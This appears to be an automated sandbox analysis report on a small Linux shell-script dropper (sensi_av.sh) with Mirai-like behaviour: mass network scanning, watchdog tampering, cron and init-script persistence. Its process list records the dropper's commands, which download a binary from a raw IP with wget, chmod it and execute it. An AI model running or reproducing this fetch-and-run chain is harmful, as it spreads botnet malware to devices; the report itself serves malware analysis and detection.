Analysis
- max time kernel
149s - max time network
150s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
07/08/2026, 19:21
General
- Target sensi_av.sh
- Size 922B
- Sample260807-x2wc6abl8t
- SHA256 dbe3826e93f98c1212ccd30e6d1ff4febc180d0c50dbbdc3a369df4bd15afef4
Malware Config
Signatures
- Contacts a large (20261) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes itself 2 IoCs
- Executes dropped EXE 1 IoCs
- Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- Traces itself 1 IoCs
Traces itself to prevent debugging attempts
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies init.d 2 TTPs 1 IoCs
Adds/modifies system service, likely for persistence.
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Changes its process name 1 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Reads runtime system information 39 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/sensi_av.sh/tmp/sensi_av.sh1⤵
- Executes dropped EXE
-
/bin/rmrm -f d2⤵
-
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/bin/rmrm -f d2⤵
-
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/usr/bin/wgetwget -q http://95.155.151.113/d/slim.arm7 -O d2⤵
- Writes file to tmp directory
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/chmodchmod 777 d2⤵
- File and Directory Permissions Modification
-
-
/tmp/d./d avtech2⤵
- Deletes itself
- Modifies Watchdog functionality
- Traces itself
- Creates/modifies Cron job
- Enumerates active TCP sockets
- Modifies init.d
- Modifies rc script
- Changes its process name
- Checks CPU configuration
- Reads system network configuration
- Reads runtime system information
- Writes file to tmp directory
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
2RC Scripts
2Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
2RC Scripts
2Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
sysnetd
d
root